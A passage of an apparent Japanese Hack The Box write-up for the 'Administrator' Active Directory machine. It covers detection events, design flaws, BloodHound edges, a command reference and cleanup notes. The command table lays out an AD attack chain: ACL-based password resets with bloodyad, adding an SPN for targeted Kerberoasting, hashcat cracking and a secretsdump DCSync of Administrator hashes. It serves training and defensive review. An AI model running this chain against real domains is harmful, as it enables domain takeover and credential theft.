DCSync	4662（適切な SACL がある場合）、DRSUAPI/RPC、DC 以外からの要求	`GetChanges`/`GetChangesAll` を持たない通常ユーザーの要求、送信元ホスト、対象アカウントを監視する
ツール実行	PowerShell、LDAP、SMB、RPC、Impacket/NetExec のプロセスや EDR 通信	正規の ID 管理製品やバックアップ製品も同様の LDAP/レプリケーションを行い得るため、ベースラインが必要

5136 と 4662 は、Directory Service Changes/Access の監査に加え、対象オブジェクトに適切な SACL が設定されていなければ記録されない。4769 は Kerberos Service Ticket Operations 監査が有効であることが前提であり、対象 AD オブジェクトの SACL は不要である。いずれもイベントがないことは操作がなかった証明ではない。FTP の平文認証、パスワード保管庫のダウンロード、DC 以外からの RPC をネットワーク側でも補完して監視する。

Design Issues

この Box の本質は「弱いパスワードを一つクラックした」ことではなく、複数の設計ミスが連鎖したことにある。

SHARE MODERATORS というカスタムグループと FTP 到達性の関係を、メンバーが実際に何を読めるかという観点でレビューしていなかった。どの FTP/NTFS 設定が SID を参照したかは記録なしである。
Password Safe V3 のバックアップを FTP から取得できる領域へ置いていた。
保管庫内の Emily の保存値が AD アカウントとして有効だった。Alexander と Emma の保存値については WinRM 認証に失敗しており、AD で有効だったとは確認できない。保管庫のマスターパスワード、各エントリのパスワード、AD で有効な資格情報は別物である。
Emily のような一般ユーザーが、DCSync 権限を持つ Ethan の属性を書き換えられた。
Ethan はドメインのレプリケーション権限を持つため Tier 0 相当なのに、通常ユーザーと同じ経路から侵害可能だった。
Tier 0 主体への Inbound Control Rights（誰がその主体を変更できるか）を逆向きにレビューしていなかった。
SPN を書ける権限と、オフライン探索可能な弱いパスワードが組み合わさった。

特に、Emily に DCSync 権限が直接あったわけではない。しかし Emily が Ethan を GenericWrite で操作できるため、攻撃経路としては Emily も実質的に Tier 0 へ到達可能だった。権限の棚卸しは「高権限グループのメンバー」だけでなく、高権限主体へ到達するすべての Inbound edge を含める必要がある。

BloodHound Edges and Actions

BloodHoundエッジ	実際の意味	代表的な操作	今回の用途
`GenericWrite`	一部属性の書き込み	SPN、属性変更	Ethan へ一時 SPN を追加
`GenericAll`	対象の包括的制御	パスワードリセット等	Olivia→Michael。Emily→Ethan では誤認
`ForceChangePassword`	旧パスワードなしのリセット	パスワード変更	Michael→Benjamin
`WriteDacl`	DACL の変更	自分への権限追加	今回の主経路では未使用
`WriteOwner`	所有者変更	所有権変更後の ACL 再設定	今回の主経路では未使用
`GetChanges`	通常のディレクトリ変更取得	DCSync の一部	Ethan が保有
`GetChangesAll`	秘密属性を含む取得	DCSync の中核	Ethan が保有
`GetChangesInFilteredSet`	Filtered Attribute Set の取得	RODC 関連など	Ethan が追加で保有

Command Reference

コマンド	目的・前提	成功時の確認	失敗時の代表原因・副作用・後片付け
`nmap -sS -A -p- --min-rate 10000 <IP>`	全 TCP とサービス列挙。SYN scan の権限が必要	21/53/88/389/445/5985 等	レートによる欠落、IDS 検知。状態変更なし
`nxc smb <IP> -u Olivia -p '<password>' --shares --rid-brute`	初期資格情報、共有・RID 列挙	`administrator.htb\\Olivia` とユーザー/グループ	認証失敗、SMB 到達性。状態変更なし
`nxc ldap <IP> -u Olivia -p '<password>' --users --group`	LDAP ユーザー/グループ列挙	10 users とカスタムグループ	LDAP signing/channel binding 制約。状態変更なし
`rusthound-ce ... -c All --zip`	BloodHound 用 ACL/関係収集	users/groups/computers の収集	権限不足、EDR 検知。生成物は作業後削除
`bloodyad ... set password Michael ...`	`GenericAll` によるリセット	`Password changed successfully!`	誤った edge、LDAP ACL。元パスワード不明なら復元は要確認
`bloodyad ... set password Benjamin ...`	`ForceChangePassword` の検証	同上	権限不足。設定した値を破棄・ローテーション
`ftp <host>` / `get <backup>`	Benjamin の資格情報でバックアップ取得。グループと FTP 認可の設定上の因果は未確認	Password Safe V3 ファイル	FTP 認可/NTFS ACL、平文転送。取得物を安全に削除
Password Safe V3 復号	マスターパスワードで保管庫を開く	Alexander/Emma/Emily のエントリ	マスターはログオン資格情報ではない。復号データを消去
`Set-ADUser ethan -Add @{servicePrincipalName = ...}`	Emily の WinRM セッションから `GenericWrite` で一時 SPN を追加	属性が追加される	SPN 重複、ACL 不足。追加値だけを削除
`GetUserSPNs.py ... -request-user ethan` / `nxc ldap ... --kerberoasting`	Ethan 宛 TGS 要求	`$krb5tgs$23$...`	時刻ずれ、SPN 不在、Kerberos 到達性。TGS は秘密情報
`sudo systemctl stop systemd-timesyncd; sudo ntpdate administrator.htb`	`KRB_AP_ERR_SKEW` 解消	TGS 要求が成功	攻撃端末の時計を変更。他の作業へ副作用、作業後に同期復旧
`hashcat ethan.hash /usr/share/wordlists/rockyou.txt`	TGS のオフライン検証	`Status: Cracked`	強い/辞書外パスワード。hash ファイルを消去
`secretsdump.py -just-dc-user Administrator ...`	Ethan のレプリケーション権限で限定 DCSync	Administrator の NTLM/AES 材料	DRSUAPI/RPC、権限/DNS/時刻不足。取得秘密を安全に破棄

Rabbit Holes and Dead Ends

これは Windows 標準グループでも、名前だけで FTP 権限を持つグループでもない。BloodHound の membership と Nmap の FTP サービスを関連付け、サービス側の認可参照を検証する必要があった。

GenericAll と GenericWrite の誤認

Ethan のパスワードを直接リセットする試行は Access is denied になった。これは資格情報が間違っていたというより、BloodHound edge の読み違いを示す結果だった。GenericWrite から SPN 属性変更へ切り替えた。

Kerberos 時刻ずれ

初回 TGS 要求は KRB_AP_ERR_SKEW。ツール変更ではなく、約7時間の clock skew を修正して同じ操作を再試行した。時計変更は端末全体に副作用があるため、作業後の復旧を記録する。

Cleanup Notes

Olivia→Michael、Michael→Benjamin のパスワード変更：元の値は記録なし。Box リセット、または管理者による安全なローテーションが必要。
Ethan の servicePrincipalName：追加した HTTP/ethan-temp.administrator.htb だけを削除する。全 SPN の -Clear は正規サービスを破壊するため禁止。削除・検証結果は記録なし。
攻撃端末の systemd-timesyncd 停止と時計変更：通常の時刻同期を再有効化し、正しい時刻を確認する。復旧結果は記録なし。
取得した Password Safe、TGS、hash、Kerberos key、BloodHound データ：安全な保管場所から削除し、シェル履歴や一時ファイルも確認する。削除結果は記録なし。

Credentials and Artifacts

資格情報/成果物	入手元	最初の利用	有効範囲
Olivia / `<INITIAL_PASSWORD>`	Box の初期提供	SMB、LDAP、WinRM、BloodHound	初期 AD 列挙
Michael / `<NEW_MICHAEL_PASSWORD>`	Olivia の GenericAll による変更	Benjamin のパスワード変更	Michael としての ACL 操作
Benjamin / `<NEW_BENJAMIN_PASSWORD>`	Michael の ForceChangePassword	FTP	FTP 読み取り。グループ設定との直接因果は未確認
Password Safe マスター	FTP バックアップ内の復号情報	保管庫の復号	AD ログオン用ではない
Alexander/Emma/Emily の値	復号後の保管庫エントリ	Emily の値を AD で検証	Emily の AD 認証
Ethan / `<ETHAN_PASSWORD>`	Targeted Kerberoasting + Hashcat	SMB/LDAP と DCSync	ドメインレプリケーション
Administrator / `<ADMIN_NTLM>`、Kerberos キー	DCSync	最終到達点	Administrator の認証材料
user flag	Emily の WinRM セッション	`C:\Users\emily\Desktop\user.txt`	値は本文に記載しない

Required Knowledge

Active Directory の LDAP/RID/ACL、BloodHound の制御エッジ、IIS FTP と NTFS ACL、Password Safe V3 の暗号化保管庫、Kerberos SPN/TGS と時刻同期、オフラインハッシュ解析、DRSUAPI/MS-DRSR の DCSync、Windows 監査イベント 4724/4769/5136/4662 が必要になる。

Final Thought

カスタムグループは名前で判断せず、サービス認可、共有 ACL、NTFS ACL の参照先を確認する。
保管庫の復号パスワードと、その中の AD 資格情報を区別し、取得後は各値を個別に検証する。
BloodHound の GenericAll、GenericWrite、ForceChangePassword は似て見えても実操作が異なる。失敗したコマンドとエラーは、エッジ解釈を修正する証拠になる。
SPN の一時追加は、既存値を壊さず、追加した値だけを削除する。TGS が得られても、強いパスワードならクラックできない。
DCSync の権限対象は Administrator 個人ではなく、ドメイン Naming Context である。GetChanges と GetChangesAll の意味を分けて評価する。
認証材料の取得と system flag の読み取りは別の検証点であり、記録がなければ成功と断定しない。

最短経路は、初期資格情報から ACL を確認し、FTP のバックアップを資格情報源として再利用し、GenericWrite を SPN 変更へ正しく翻訳し、Ethan のレプリケーション権限を限定 DCSync に使う流れだった。再利用可能な教訓は、権限名を記憶で補わず失敗結果で検証すること、サービスアクセスと AD 権限を別レイヤーとしてつなぐこと、そして Tier 0 主体への Inbound Control Rights を必ず逆向きに監査することである。